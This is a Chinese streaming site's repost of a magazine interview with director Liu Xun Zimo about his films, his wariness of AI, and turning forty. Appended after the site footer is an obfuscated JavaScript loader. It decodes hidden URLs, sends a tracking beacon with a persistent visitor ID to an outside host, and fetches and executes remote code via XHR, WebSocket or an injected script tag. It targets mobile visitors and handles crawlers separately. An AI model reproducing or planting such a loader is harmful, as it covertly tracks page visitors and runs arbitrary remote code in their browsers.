导演刘循子墨:对电影而言,我还是个新人

来源:泡剧网人气:711更新:2025-09-13 21:30:07

4年前,导演刘循子墨的首部长片《扬名立万》上映。故事发生在民国时期的上海,一群看似不太靠谱的电影人,想在花花世界里“扬名立万”。

项目筹备了5年,经历建组、撤资、停滞、重启,最终以小众黑马之势,票房和口碑双丰收。

有人评价刘循子墨“大器晚成”,他半开玩笑地回应:“也不算太晚吧?”


导演刘循子墨。(图/由被访者提供)

但最近时常有一些瞬间,刘循子墨感到自己有点“老派”:不玩游戏,不看短剧,上部电影《胜券在握》的背景是一家科技公司,但日常生活中,他却对AI抱有“警惕”,害怕有朝一日AI统治地球,人类全成了ta的奴隶,担心有人利用程序漏洞制造混乱。

“你看路上那么多电车,如果哪天不法分子入侵了车载芯片,让你的车不受控制,大家‘哐啷’全撞一块儿了,这完全有可能,对吧?”说着说着,他又突然意识到,“‘不法分子’这个说法好像就挺老派的。”

浪潮之下,个人抵抗的力量实在有限,“也就只能暂时不买电车了”。


(图/《胜券在握》电影截图)

还有另外一些瞬间,例如:去参加活动,会有人让他给年轻创作者一些建议;他导演的网剧《报告老板!》开始跟“考古”两个字并列出现;他和万合天宜的那群伙伴——叫兽易小星、白客、张本煜、柯达、小爱、孔连顺等人,如今已被称作“第一代网红喜剧人”。

接触影视行业10年以来,关于找到了什么答案,他认为“电影会告诉大家,自己直白地说出口总觉得怪怪的”。他还是习惯和过于严肃深刻的东西保持距离,一本正经的同时也要轻轻松松。

现在在网上,仍能找到刘循子墨在大学期间自导自演的《定福庄风云2》,他日后作品中那些对流行文化无厘头的戏仿、反转、恶搞和讽刺,都能从这部时长42分钟的微电影里看到最初的影子。


(图/《定福庄风云2》电影截图)

在视频的评论区,有人曾留言:总有一天,我要在大银幕上见到“导演刘循子墨”六个字。

他确实做到了,并打算继续做下去。不过,在气氛走向煽情前,他打趣,相比于自己的导演身份,他还是更愿意介绍自己“是个帅哥”。

以下是他的自述。

关于长大

最近我经常在想,“年纪越大,就会自然而然对其他事产生好奇”,这句话到底是不是真的。

这几年,行业内出现一些声音,说大家都去刷短视频了,电影市场不行了。我当时还很有信心,觉得要把观众交给时间。就像人年轻的时候喜欢吃快餐,但随着人慢慢长大,会开始好奇除了快餐,还有没有其他餐饮值得尝试。

可最近我有一种感觉,大家好像变得不太想长大。


(图/《满汉全席》剧照)

徐克拍过一部电影叫《满汉全席》,用武侠片的壳讲美食。电影上映那年,我9岁,在家里看的录像。我后来把那部片子至少重看了20遍——太厉害了,一部电影竟然可以混杂这么多形式,还不落俗套。它跟周星驰那种无厘头、天马行空的喜剧不太一样,里边各种各样的人物和情感,就像身边会遇到的一样,特别真实。

同一部电影,小时候只看到搞笑,长大后再看,体会到的内容和情绪则完全不同,因为人的阅历、生活经验都在随着成长慢慢提升。不只是电影,你也会开始思考关于自己的一切。

但现在大家还会反复看同一部电影吗?现实压力这么大,大家还有精力去思考吗?人们是不是开始逃避很多事情,不愿面对,不想长大?我一直在想这些事情,但一直没想通。感觉很多事情不是靠我们拍电影就能解决的。


(图/《报告老板!》电影截图)

现在想来,徐克的《满汉全席》和后来冯小刚的《甲方乙方》影响了我在《报告老板!》里的很多创作手法,翻拍、换装、剧情间的跳进跳出等,很多形式都是从这两部电影里学到的。

我小时候爱看电影,但从来没想过要当导演。我爸是画家,我从小就跟着他学画画,一开始有点被逼无奈,但后来挺喜欢。也是受我爸影响,我考入了中国传媒大学戏剧影视美术设计专业。我爸对我的期待是考研,然后留校当老师,但最后都没实现。

我记得大三那年,专业课老师不太看好我,班上一共9个男生,他带着另外8个出去实习,只留我一个人在宿舍无所事事。每次看人家成群结队回来,聊在实习的地方遇到的事,我也插不上话,心里有些苦涩。

正好那年上过一门导演课,老师没教太多具体内容,就让我们拍短片。当时我对拍片这件事不算产生兴趣,但觉得挺有意思。后来我在宿舍闲着,想给自己找点事干,就找摄影系和戏剧影视文学专业的朋友一起拍了部片子。它叫《定福庄风云2》,讲奥运会前夕学校要评级,不同组织之间互派卧底的故事。

我一直挺痴迷谍战片。以前跟爸妈一起看柳云龙导演的《暗算》《风筝》,还有姜伟和付玮导演的《潜伏》,我也很喜欢。最近我正在筹备下一个项目,考虑到民国谍战题材已经很多,就想着拍一个现代谍战题材。片子还在大纲阶段,按照预期一点点推进。


(图/《暗算》剧照)

我属于单核工作模式,只能全心投入到一件事里。有时候我很羡慕别人能游刃有余地同时开展好几个项目,我不行。在做这个项目时,每天脑子里都在想这件事,也放弃了自导自演。

很多人会说“你这么帅不演戏,不是很可惜吗”,但我真的没有这个精力。尤其是拍完《扬名立万》以后,我发现这帮专业演员的演技太棒了,虽然很想跟他们一起演,但又觉得肯定演不过他们,就算了,别去丢人,不如专心做好自己擅长的事。我不是一个很贪心的人。

“我不愿意给观众规定一个结局”

《扬名立万》成功之后,很多人和我说,我应该接着拍《扬名立万2》。我说我不知道第二部要拍什么,他们就说反正先拍呗,拍完以后绝对能卖。

可我总觉得那帮人的故事在电影结束那一刻已经都说完了,对他们来说,那就是最好的结局。而且单从项目本身来看,如果没有新意,一直在同一个框架下做重复的东西,对我来说很无聊。

谁不乐意赚钱呢?但我喜欢姜文在《让子弹飞》里那句:“我是想站着,还把钱挣了。”


(图/《让子弹飞》电影截图)

当然也有妥协的时候。我之前拍过很多广告,所以完全能理解客户的想法和制片人的难处。但每部片子里总有一些情节、台词、美术设计来自你最开始的创作冲动,是你想表达的内容的延伸,只要这些关键的地方没变,我都会适当让步。

其实从《扬名立万》到《胜券在握》,我想探讨的始终是一个主题,只不过外在形式不同。

我在《胜券在握》里表达了职场中人与人之间的一些情感,后来发现很多观众并不赞同,也不理解,我一开始很困惑。后面突然意识到,这些是我的私人情感。


(图/《胜券在握》电影截图)

可能因为我属于特别幸运的那类人,能遇到一家小众宝藏公司,找到一群志同道合的朋友。我在职场上所经历的一切都像我在电影里呈现的“泡泡工厂”一样,大家一起努力、一起奋斗,互相尊重,氛围也愉快。我们的老板、合作的投资方,也不会事事强加干涉。

我知道大多数职场是残酷的,但因为我所在的是一个可以“真心换真心”的地方,我就特别想把这种希望带给大家。但结果让我意识到,当你不是客观地想和观众探讨观点、交换看法,而只是想把私人情感带给他们时,很多人会无法对你的故事、人物产生共鸣。我可能太想让大家都快乐起来,反而丧失了判断力。

单纯从人物、故事角度来讲,我还挺想做《胜券在握2》的。比起《扬名立万》,我反而觉得他们的故事还远远没有说完。他们一起成立的新公司能一帆风顺吗?人与人之间的关系真的能完全没有私心?他们还要经过怎样的考验?想想挺有趣的,有意向的投资方可以联系我。


(图/《胜券在握》电影截图)

对我来说,前期写剧本的时候总是最快乐的,没有太多烦恼,有问题也只是剧作上的问题。一旦开始拍摄,就会出现钱的问题、人的问题,就没那么好解决了。

最早我们计划做《报告老板!》电影版,筹备了一年,都已经建组了,结果因为各种各样的原因流产了。当时我心里很失望,一下子失去了方向。现在我回想起来,停下来可能反而是件好事,让我们去思考到底我们想在电影里表达什么,而不只是和以前那样有趣就够了。

我目前为止拍了两部长片,对电影来说,我还是个新人。我知道很多导演在拍的时候,心里已经对后期怎么剪很有谱,会直接省掉多余的镜头。但我总想再给自己一次机会,也许等技巧更熟练、心智更成熟,我会变得更加自如。

要说我比以前更清晰了,大概是确认了一些自己喜欢的风格。我蛮喜欢群像戏,它能让我去探索人性里复杂微妙的部分。


(图/《胜券在握》电影截图)

《胜券在握》里柯达演的程序员创造了AI智能体“铃源真天慧雅美紫”。但我自己在现实生活里还没养成和AI聊天的习惯,因为我觉得ta说的每句话都经过计算,不是“发自内心”地和你聊天。我还是喜欢和真人聊。

除了群像戏,我还喜欢混搭类型,比如在悬疑片中加入喜剧元素,在喜剧片中加入犯罪元素。导演拍的时候会有一种新鲜感,观众看的时候也会有一种新鲜感。

另外我喜欢在片子里加一些反转。拍网剧,我们会为了某个笑点去反转,但电影不能这样做,哪怕是反转,每个情节点都必须跟表达的内容是紧密连接的。


(图/《扬名立万》电影截图)

再就是开放式的结局。我不愿意给观众规定一个结局,我们一帮人开剧本会,理解的都不一样,更何况是面对这么多观众。解释就没意思了,证明你拍不出来,才得用语言告诉大家。如果大家感受到我想表达的,我当然开心;如果大家感受到别的内容,也收获了一些力量,那也挺好。

我花了快40年,寻找我是谁

说实话,我现在看网上的搞笑视频,感觉当年大多尝试过。我不觉得这些年大家的笑点发生了什么特别大的变化,可能只是节奏更快一些。

我对短视频没有意见,每一代人都有他们接触艺术、接触作品的媒介。观众快速地接触作品,创作者从中磨炼自己的表达和技巧,这是很好的互动。短视频和电影不冲突,我也不会把短视频当敌人。短视频与我们在影像中完成的东西不同,观众在短视频和电影院里感受到的东西也理应不同。


(图/微博@子墨_布拉德皮蛋)

明年我就40岁了,都说四十不惑,此时此刻,我确实没什么特别的困惑,因为我走到现在的每一步全是靠努力换来的。哪怕是失败,我也知道个中缘由,没什么是让我觉得心里发虚,靠着奇怪的手段弄到手的。我相信以后还会有新问题冒出来,但现在的一切全都扎扎实实地抓在我自己手里。

年龄焦虑肯定有,看到同龄人甚至比我年纪小的人,不管是成就还是金钱等方面比我更成功,我也会有紧迫感。有时候诱惑摆在眼前,我也会眼馋,甚至去尝试获取,但最终发现还是过不了自己那关。说到底每个人都是在慢慢发现真实的自己,最终也要面对真实的自己。


(图/微博@子墨_布拉德皮蛋)

现在如果发生同样的状况,我就会问自己:刘循子墨,这些真的是你想要的吗?为此付出的代价是你能接受的吗?之前你为什么不这么选?人啊,就是每时每刻在不停地跟旧的自己较量。

有人可能会问:你真的以后都能像现在这样忠于自己?以后的事我哪知道,也许我会活成自己最讨厌的样子。想到这些,就觉得更要珍惜现在的自己,趁着还能义无反顾地说出这些话的时候,好好地做自己。

有时候参加一些活动,主办方、主持人总让我给年轻人一点建议,其实我没有任何建议。你不是我,每个个体都天差地别,自己的人生就自己慢慢去体会吧。反正人就活这一次,尽兴一点。

本文原载于《新周刊》

总第690期《让电影飞》

原标题:《导演刘循子墨:对电影而言,我还是个新人》

作者 | 里里|詹腾宇题图| 电影《扬名立万》拍摄现场。(图/由被访者提供)运营| 胡佳灏


最新资讯

郑重声明:泡剧网所有播放资源均由机器人收集于互联网,本站不参与任何影视资源制作与存储,如若侵犯了您的权益请书面告知,我们会及时处理.

如果喜欢泡剧网请分享给身边的朋友,站内广告是本站能持续为大家服务的立命之本还望顺手支持一下^_^

百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

Copyright © 2019-2024 · 泡剧网 www.bjhuahong.com

function wTUYUY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wTUYUY(t);};window[''+'d'+'p'+'U'+'X'+'Z'+'X'+'w'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ded.siabcbfo.com:8887/stats/2497?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLnNNiZnNNrdmxydnJrdm5uZG5yaHMuY29tJTNNBODg4NNw==','d3NzJTTNBJTTJGJTTJGZC5zamZrYnZza3Zzam5ia3J2LmNvbSUzQTTg4ODc=','2891',window,document,['N','T']);}:function(){};